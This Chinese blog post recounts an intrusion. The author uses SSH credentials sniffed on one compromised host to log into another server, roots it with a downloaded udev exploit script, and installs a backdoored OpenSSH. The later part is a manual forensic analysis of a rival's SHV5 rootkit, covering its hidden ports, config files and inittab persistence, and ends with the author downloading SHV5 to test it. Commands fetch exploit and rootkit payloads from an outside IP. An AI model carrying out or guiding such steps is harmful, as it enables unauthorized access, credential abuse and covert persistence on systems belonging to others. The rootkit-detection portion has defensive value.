我的一台linux肉鸡的简单手工入侵检测过程

2018-07-31

by:vitter
blog:blog.securitycn.net

今天发现一台肉鸡上某人的ssh连到另外一台服务器上,记录下了密码。

[root@mail ~]# cat /tmp/sshpswd
ldc:sle823jfsGs@222.222.66.11

直接ssh上去。

[root@mail ~]# ssh ldc@222.222.66.11
ldc@222.222.66.11's password: 
Last login: Fri Jul 17 13:11:38 2009 from 221.140.140.200
[ldc@localhost ldc]$ cat /etc/issue
Red Hat Enterprise Linux Server release 5 (Tikanga)
Kernel \r on an \m

[ldc@localhost ldc]$ uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686 i686 i386 GNU/Linux

是rhel5.0没升级过内核,vmsplice的local root应该可以的,不过测试了下,机器挂了,换udev的好了。

[ldc@localhost ldc]$ mkdir .v
[ldc@localhost ldc]$ cd .v
[ldc@localhost .v]$ wget http://211.100.50.70/u.sh
--13:21:09--  http://211.100.50.70/u.sh
Connecting to 211.100.50.70:80... 宸茶繛鎺ャ€
宸插彂鍑?HTTP 璇锋眰锛屾�鍦ㄧ瓑寰呭洖搴?.. 200 OK
闀垮害锛?366 (3.3K) [application/x-sh]
Saving to: `u.sh'

100%[===========================================================================================>] 3,366       --.-K/s   in 0.04s 

13:21:09 (93.7 KB/s) - `u.sh' saved [3366/3366]

[ldc@localhost .v]$ ls
r00t    r00t.c  u.sh
[ldc@localhost .v]$ chmod +x u.sh 
[ldc@localhost .v]$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
f69f8800 0   2486   00000111 0        0        00000000 2
f7fdae00 0   0      00000000 0        0        00000000 2
c2132200 6   0      00000000 0        0        00000000 2
f6a57a00 7   2143   00000001 0        0        00000000 2
f7caf000 7   0      00000000 0        0        00000000 2
f6a0be00 9   2143   00000000 0        0        00000000 2
f6a61200 9   1996   00000000 0        0        00000000 2
f7de1c00 9   0      00000000 0        0        00000000 2
f7d6ca00 10  0      00000000 0        0        00000000 2
f7fb3200 11  0      00000000 0        0        00000000 2
c2154200 15  476    ffffffff 0        0        00000000 2
f7fdac00 15  0      00000000 0        0        00000000 2
f7fb3000 16  0      00000000 0        0        00000000 2
c21cde00 18  0      00000000 0        0        00000000 2
[ldc@localhost .v]$ ps aux | grep udev
root       477  0.0  0.0  2916 1396 ?        S<   12:36   0:00 /sbin/udevd -d
ldc       3462  0.0  0.0  4128  680 pts/0    S    13:00   0:00 grep udev
[ldc@localhost .v]$ sh u.sh 476
suid.c: 鍦ㄥ嚱鏁?鈥榤ain鈥?涓�細
suid.c:3: 璀﹀憡锛氶殣寮忓0鏄庝笌鍐呭缓鍑芥暟 鈥榚xecl鈥?涓嶅吋瀹

sh-3.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh

已经是root权限了。

sh-3.1# w
13:25:18 up 48 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
ldc      pts/0    100.204.107.20    13:05    0.00s  0.12s  0.06s sshd: ldc [priv] 
sh-3.1# pwd
/home/ldc/.v
sh-3.1# ssh -V
OpenSSH_4.3p2, OpenSSL 0.9.8b 04 May 2006

我们先留个ssh的后门。

sh-3.1# wget http://211.100.50.70/openssh4.3p2.tar.gz
--13:32:08--  http://211.100.50.70/openssh4.3p2.tar.gz
Connecting to 211.100.50.70:80... 宸茶繛鎺ャ€
宸插彂鍑?HTTP 璇锋眰锛屾�鍦ㄧ瓑寰呭洖搴?.. 200 OK
闀垮害锛?79990 (957K) [application/x-gzip]
Saving to: `openssh4.3p2.tar.gz'

100%[===========================================================================================>] 979,990     1.14M/s   in 0.8s  

13:32:08 (1.14 MB/s) - `openssh4.3p2.tar.gz' saved [979990/979990]

sh-3.1# tar zxf openssh4.3p2.tar.gz
sh-3.1# cd openssh-4.3p2/
sh-3.1# ./configure --prefix=/usr --sysconfdir=/etc/ssh
checking for gcc... gcc
checking for C compiler default output file name... a.out
............(省略若干行)

sh-3.1# make && make install
conffile=`echo sshd_config.out | sed 's/.out$//'`; \
        /bin/sed -e 's|/etc/ssh/ssh_prng_cmds|/etc/ssh/ssh_prng_cmds|g' -e 
............(省略若干行)

sh-3.1# cp ssh_config sshd_config /etc/ssh/
sh-3.1# /etc/rc.d/init.d/sshd restart
鍋滄� sshd锛                                              [纭�畾]
鍚�姩 sshd锛                                              [纭�畾]

ok了,用我们的sshdoor登录。

[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh

[root@localhost ~]# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      2298/hpiod          
tcp        0      0 0.0.0.0:1000                0.0.0.0:*                   LISTEN      2090/rpc.statd      
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      2056/portmap        
tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN      2883/vsftpd         
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      2315/cupsd          
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      2361/sendmail: acce     
tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN      2303/python            

总感觉这系统怪怪的,连22端口都看不到,应该替换了netstat了,先看看有没有其他被替换掉的系统文件吧。

[root@localhost ~]# rpm -qaV
S.5..UG.   /bin/netstat
S.5..UG.   /sbin/ifconfig
S.5....T   /usr/bin/ssh-keygen
S.5....T c /etc/sysconfig/system-config-securitylevel
S.5..UG.   /usr/sbin/lsof
.M......   /var/tux
S.5....T c /etc/inittab
S.5....T   /usr/share/texmf-var/fonts/map/dvipdfm/updmap/dvipdfm_dl14.map
S.5....T   /usr/share/texmf-var/fonts/map/dvipdfm/updmap/dvipdfm_ndl14.map
S.5....T   /usr/share/texmf-var/fonts/map/pdftex/updmap/pdftex_dl14.map
S.5....T   /usr/share/texmf-var/fonts/map/pdftex/updmap/pdftex_ndl14.map
S.5....T   /usr/share/texmf-var/web2c/aleph.fmt
S.5....T   /usr/share/texmf-var/web2c/amstex.fmt
S.5....T   /usr/share/texmf-var/web2c/bamstex.fmt
S.5....T   /usr/share/texmf-var/web2c/bplain.fmt
S.5....T   /usr/share/texmf-var/web2c/cont-en.fmt
S.5....T   /usr/share/texmf-var/web2c/etex.fmt
..5....T   /usr/share/texmf-var/web2c/metafun.mem
S.5....T   /usr/share/texmf-var/web2c/mf.base
..5....T   /usr/share/texmf-var/web2c/mpost.mem
S.5....T   /usr/share/texmf-var/web2c/mptopdf.fmt
S.5....T   /usr/share/texmf-var/web2c/omega.fmt
S.5....T   /usr/share/texmf-var/web2c/pdfetex.fmt
S.5....T   /usr/share/texmf-var/web2c/pdftex.fmt
S.5....T   /usr/share/texmf-var/web2c/tex.fmt
.......T c /etc/kdump.conf
S.5....T c /etc/printcap
..5....T c /etc/pki/nssdb/secmod.db
....L... c /etc/pam.d/system-auth
.M...... c /etc/cups/classes.conf
.......T c /etc/audit/auditd.conf
missing     /usr/sbin/nscd
S.5....T c /etc/sysconfig/named
.M......   /var/named
SM5..UG.   /bin/ps
SM5..UG.   /usr/bin/top
SM5....T c /etc/sysconfig/iptables-config
S.5..UG.   /usr/bin/find
prelink: /usr/lib/libGL.so.1.2.#prelink#.crFdQJ Could not trace symbol resolving
S.?.....   /usr/lib/libGL.so.1.2
S.5....T c /etc/ppp/chap-secrets
S.5....T c /etc/ppp/pap-secrets
S.5....T c /etc/xml/catalog
S.5....T c /usr/share/sgml/docbook/xmlcatalog
S.5....T c /etc/ssh/ssh_config
S.5....T   /usr/bin/scp
S.5....T   /usr/bin/sftp
S.5....T   /usr/bin/ssh
S.5....T   /usr/bin/ssh-add
SM5...GT   /usr/bin/ssh-agent
S.5....T   /usr/bin/ssh-keyscan
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/builtin35.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/download35.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/ps2pk.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/psfonts_pk.map
S.5....T   /usr/share/texmf-var/fonts/map/dvips/updmap/psfonts_t1.map
S.5....T   /etc/sgml/docbook-slides.cat
S.5....T   /usr/share/icons/hicolor/icon-theme.cache
S.5..UG.   /bin/ls
S.5..UG.   /usr/bin/dir
S.5..UG.   /usr/bin/md5sum
S.5..UG.   /usr/bin/pstree
S.5....T c /etc/syslog.conf
S.5....T c /etc/ssh/sshd_config
S.5....T   /usr/sbin/sshd
missing     /var/lib/texmf/ls-R
S.5....T   /etc/sgml/docbook-simple.cat
S.5....T c /etc/vsftpd/vsftpd.conf
.M......   /var/ftp/pub
S.5....T c /etc/mailcap
......G.   /var/cache/samba/winbindd_privileged
.......T c /etc/mail/sendmail.cf
SM5....T c /etc/mail/submit.cf
S.5....T c /var/log/mail/statistics
..5....T c /usr/lib/security/classpath.security
S.5....T c /etc/sane.d/dll.conf

还好rpm没替换,看来系统的好些命令被替换了,嘿嘿,有同行在啊。
不好意思,那我就要T你下去了。下面先检查一下,当然这个系统不可靠了,我们先替换回可靠的命令:

[root@localhost bin]# cp -f /home/ldc/.v/dir /usr/bin/dir
cp: cannot remove `/usr/bin/dir': Operation not permitted

chattr加了iau了。

[root@localhost bin]# chattr -iau /usr/bin/dir
[root@localhost bin]# cp -f /home/ldc/.v/dir /usr/bin/dir

ok了。看看还有什么吧:

[root@localhost chkrootkit-0.48]# lsattr /bin /sbin /usr/bin /usr/sbin /etc| grep -e -ia
s---ia------- /bin/ps
s---ia------- /bin/ls
s---ia------- /bin/netstat
s---ia------- /sbin/ifconfig
s---ia------- /sbin/ttymon
s---ia------- /sbin/ttyload
s---ia------- /usr/bin/top
s---ia------- /usr/bin/md5sum
s---ia------- /usr/bin/pstree.x11
s---ia------- /usr/bin/find
s---ia------- /usr/bin/dir
s---ia------- /usr/bin/pstree
s---ia------- /usr/sbin/lsof
s---ia------- /usr/sbin/ttyload
s---ia------- /etc/sh.conf
[root@localhost bin]# chattr -iau ps ls netstat
[root@localhost bin]# rm -rf ps ls netstat
[root@localhost bin]# rz
rz waiting to receive.奫root@localhost bin]# chmod +x ps ls netstat
[root@localhost bin]# chattr +iau ps ls netstat

同样的方式把/usr/sbin/lsof、/usr/bin/find等都替换回来。
再用netstat看看端口吧:
[root@localhost bin]# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      2298/hpiod          
tcp        0      0 0.0.0.0:1000                0.0.0.0:*                   LISTEN      2090/rpc.statd      
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      2056/portmap        
tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN      2883/vsftpd         
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      2315/cupsd          
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      2361/sendmail: acce 
tcp        0      0 0.0.0.0:65530               0.0.0.0:*                   LISTEN      2663/ttyload       (有东东出来了吧)
tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN      2303/python         
tcp        0      0 :::22                       :::*                        LISTEN      13935/sshd       

现在再用chkrootkit和rkhunter查一下看看:

[root@localhost .v]# ls
chkrootkit-0.48  chkrootkit.tar.gz  rkhunter  rkhunter-1.2.7.tar.gz
[root@localhost .v]# cd chkrootkit-0.48/
[root@localhost chkrootkit-0.48]# ./chkrootkit 
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
............(省略若干行)
Checking `ifconfig'... INFECTED
............(省略若干行)
Checking `pstree'... INFECTED
............(省略若干行)
Checking `top'... INFECTED
............(省略若干行)
Searching for t0rn's v8 defaults... Possible t0rn v8 \(or variation\) rootkit installed
............(省略若干行)
Searching for Showtee... Warning: Possible Showtee Rootkit installed  
............(省略若干行)
Searching for Romanian rootkit...  /usr/include/file.h /usr/include/proc.h
............(省略若干行)

上面几行都是有问题的。
下面用rkhunter,它的log存在/var/log/rkhunter.log里面

[root@localhost rkhunter]# /usr/local/bin/rkhunter -c --createlogfile

Rootkit Hunter 1.2.7 is running

Determining OS... Unknown
Warning: This operating system is not fully supported!
Warning: Cannot find md5_not_known
All MD5 checks will be skipped!  (md5sum被替换了)
............(省略若干行)
   Rootkit 'SHV4'...                                          [ Warning! ]             (SHV4)

             --------------------------------------------------------------------------------
             Found parts of this rootkit/trojan by checking the default files and directories
             Please inspect the available files, by running this check with the parameter
             --createlogfile and check the log file (current file: /var/log/rkhunter.log).
             --------------------------------------------------------------------------------

[Press <ENTER> to continue]

   Rootkit 'SHV5'...                                          [ Warning! ]             (SHV5)

             --------------------------------------------------------------------------------
             Found parts of this rootkit/trojan by checking the default files and directories
             Please inspect the available files, by running this check with the parameter
             --createlogfile and check the log file (current file: /var/log/rkhunter.log).
             --------------------------------------------------------------------------------
............(省略若干行)
Scanning took 84 seconds
Scan results written to logfile (/var/log/rkhunter.log)

-----------------------------------------------------------------------

Do you have some problems, undetected rootkits, false positives, ideas
or suggestions?
Please e-mail me by filling in the contact form (@http://www.rootkit.nl)

-----------------------------------------------------------------------

下面我们看下log:

[root@localhost rkhunter]# cat /var/log/rkhunter.log 
[15:16:51] Running Rootkit Hunter 1.2.7 on localhost.localdomain
[15:16:51] 
Rootkit Hunter 1.2.7, Copyright 2003-2005, Michael Boelen
............(省略若干行)
[15:16:55] *** Start scan SHV4 ***
[15:16:55]   - File /etc/ld.so.hash... OK. Not found.
[15:16:55]   - File /lib/libext-2.so.7... OK. Not found.
[15:16:55]   - File /lib/lidps1.so... WARNING! Exists.  (找到一个文件)
[15:16:55]   - File /usr/sbin/xntps... OK. Not found.
[15:16:55]   - Directory /lib/security/.config... OK. Not found.
[15:16:55]   - Directory /lib/security/.config/ssh... OK. Not found.
[15:17:04] *** Start scan SHV5 ***
[15:17:04]   - File /etc/sh.conf... WARNING! Exists.   (找到一个文件)
[15:17:04]   - File /dev/srd0... OK. Not found.
[15:17:04]   - Directory /usr/lib/libsh... WARNING! Exists.  (找到一个目录)
............(省略若干行)

下面手工核对下,因为工具都是对已有的检查,如果改过的,他就找不到了。

[root@localhost sbin]# netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:65530               0.0.0.0:*                   LISTEN      2663/ttyload        
............(省略若干行)
raw        0      0 0.0.0.0:1                   0.0.0.0:*                   7           2679/ttymon         
............(省略若干行)

发现2个不正常的
[root@localhost sbin]# ps aux|grep 2663
root      2663  0.0  0.0   2128   516 ?        Ss   12:37   0:00 /sbin/ttyload -q   (原型出来了)
root     15350  0.0  0.0   4088   604 pts/0    S+   15:21   0:00 grep 2663
[root@localhost sbin]# lsof -p 2663
COMMAND  PID USER   FD   TYPE DEVICE    SIZE     NODE NAME
3       2663 root  cwd    DIR  253,0    4096        2 /
3       2663 root  rtd    DIR  253,0    4096        2 /
3       2663 root  txt    REG  253,0  652620 34897965 /tmp/sh-AQJ3OQYACSO (deleted)  (是个压缩的)
3       2663 root  mem    REG  253,0  121684  8586729 /lib/ld-2.5.so
3       2663 root  mem    REG  253,0 1576952  8586730 /lib/libc-2.5.so
3       2663 root  mem    REG  253,0  101036  8586743 /lib/libnsl-2.5.so
3       2663 root  mem    REG  253,0   15264  8586757 /lib/libutil-2.5.so
3       2663 root  mem    REG  253,0   27836  8585303 /lib/libcrypt-2.5.so
3       2663 root    0u   CHR    1,3             1517 /dev/null
3       2663 root    1u   CHR    1,3             1517 /dev/null
3       2663 root    2u   CHR    1,3             1517 /dev/null
3       2663 root    3u  IPv4   9895              TCP *:65530 (LISTEN)
[root@localhost sbin]# lsof -p 2679
COMMAND  PID USER   FD   TYPE DEVICE    SIZE    NODE NAME
ttymon  2679 root  cwd    DIR  253,0    4096       2 /
ttymon  2679 root  rtd    DIR  253,0    4096       2 /
ttymon  2679 root  txt    REG  253,0   93476  852119 /sbin/ttymon
ttymon  2679 root  mem    REG  253,0   46740 8585257 /lib/libnss_files-2.5.so
ttymon  2679 root  mem    REG  253,0  121684 8586729 /lib/ld-2.5.so
ttymon  2679 root  mem    REG  253,0 1576952 8586730 /lib/libc-2.5.so
ttymon  2679 root    3u   raw                   9925 00000000:0001->00000000:0000 st=07

监听65530端口的是个ssh后门:

[root@localhost sbin]# nc 127.0.0.1 65530
SSH-1.5-2.0.13

Protocol mismatch.

密码应该在:

[root@localhost sbin]# cat /etc/sh.conf
76800957735704ee3dd8ac42779db49a  -

加密了,我们再看看另外一个配置文件:

[root@localhost sbin]# cat /lib/lidps1.so
ttyload
shsniff
shp
shsb
hide
burim
synscan
mirkforce
ttymon
sh2-power

看来是ps的配置文件。

看看另外一个进程:

[root@localhost sbin]# strings /sbin/ttymon 
............(省略若干行)
Usage: %s <dst> <src> <size> <number>
Ports are set to send and receive on port 179
dst:    Destination Address
src:    Source Address
size:   Size of packet which should be no larger than 1024 should allow for xtra header info thru routes
num:    packets
Could not resolve %s fucknut

根据这个G看:http://www.securityfocus.com/archive/82/oogle了下,应该是个dos工具。感兴趣的可以编译下玩玩看334848这里有。

ok我们现在进入黑客的老巢:

[root@localhost sbin]# cd /usr/lib/libsh
[root@localhost libsh]# ls -al
total 140
drwxr-xr-x   6 root  root   4096 Dec 18  2008 .
drwxr-xr-x 118 root  root  69632 Jul 17 13:55 ..
drwxr-xr-x   2 root  root   4096 Dec 18  2008 .backup
-rwxr-xr-x   1   122   114  1206 Apr 18  2003 .bashrc
-rwxr-xr-x   1   122   114  2000 Nov 28  2006 hide
drwxr-xr-x   2 root  root   4096 Dec 18  2008 .owned
-rwxr-xr-x   1   122   114  1345 Nov 28  2006 shsb
drwxr-xr-x   2 root  root   4096 Jul 14 04:03 .sniff
drwxr-xr-x   2 gaobo gaobo  4096 Nov 28  2006 utilz
[root@localhost libsh]# ls .backup/
dir  find  ifconfig  ls  lsof  md5sum  netstat  ps  pstree  top
上面就是我们系统备份的文件,直接恢复即可。

find搜下其他的配置文件。此步骤省略。最后都找到了:

[root@localhost libsh]# find / -nouser
/lib/libsh.so/shhk.pub
/lib/libsh.so/shhk
/lib/libsh.so/shrs
............(省略若干行)

[root@localhost libsh]# cd /lib/libsh.so/
[root@localhost libsh.so]# ls
bash  shdcf  shhk  shhk.pub  shrs

这个目录是ssh的配置文件
其他的用关键字就可以了:如find / -name "*" -exec grep -l "ttyload" {} \;

[root@localhost lib]# cat /usr/include/proc.h 
3 burim
3 mirkforce
3 synscan
3 ttyload
3 shsniff
3 ttymon
3 shsb
3 shp
3 hide
4 ttyload
[root@localhost lib]# cat /usr/include/file.h 
sh.conf
libsh
.sh
system
shsb
libsh.so
shp
shsniff
srd0
[root@localhost lib]# cat /usr/include/hosts.h
2 212.110
2 195.26
2 194.143
2 62.220
3 2002
4 2002
3 6667
4 6667
3 65530
4 65530
[root@localhost lib]# cat /usr/include/log.h 
mirkforce
synscan
syslog

那看看他怎么启动的:
[root@localhost lib]# cat /etc/inittab 
#
# inittab       This file describes how the INIT process should set up
#               the system in a certain run-level.
#
# Author:       Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
#               Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)

id:5:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left.  Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.  
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon
# Loading standard ttys
0:2345:once:/usr/sbin/ttyload        (在这里了)
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# modem getty.
# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem

# fax getty (hylafax)
# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem

# vbox (voice box) getty
# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6
# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7

# end of /etc/inittab

看看他的启动文件:

[root@localhost lib]# cat /usr/sbin/ttyload 
/sbin/ttyload -q >/dev/null 2>&1
/sbin/ttymon >/dev/null 2>&1

以上除了工具,我们通过手工的方式对rootkit进行了一些简单的分析,这个是个没有修改过的SHV5。以上只是一些思路,在对待入侵问题上要具体问题具体分析,这个相对简单了点。

下面我们测试下这个SHV5:

[root@localhost .v]# wget http://211.100.50.70/shv5.tar.gz

解压、安装:

[root@localhost .v]# tar zxf shv5.tar.gz 
[root@localhost .v]# cd shv5
[root@localhost shv5]# ls
bin.tgz  conf.tgz  lib.tgz  README  setup  utilz.tgz
[root@localhost shv5]# cat README 
############
### shv5 ###
############

                   MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMM            
           MMMMMM  MMMMMMMMMMMMMMMM     MMMMMMM    MMMMMMM   MMMMMM            
         MMMMMMMM  MMMMMMMMMMMMMMMMM    MMMMMMM    MMMMMMM   MMMMMMMMMMMM      
        MMMMMMMMM  MMMMMMMMMMMMMMMMMM   MMMMMMM    MMMMMMM   MMMMMMMMMMMMMM    
       MMMMMMMMMM  MMMMMMMMMMMMMMMMMM   MMMMMMM    MMMMMMM        MMMMMMMMMM   
       MMMMMMM     MMMMMMM    MMMMMMM   MMMMMMM    MMMMMMM          MMMMMMMM   
       MMMMMMM     MMMMMMM    MMMMMMM    MMMMMM    MMMMMM            MMMMMMMM  
       MMMMMMM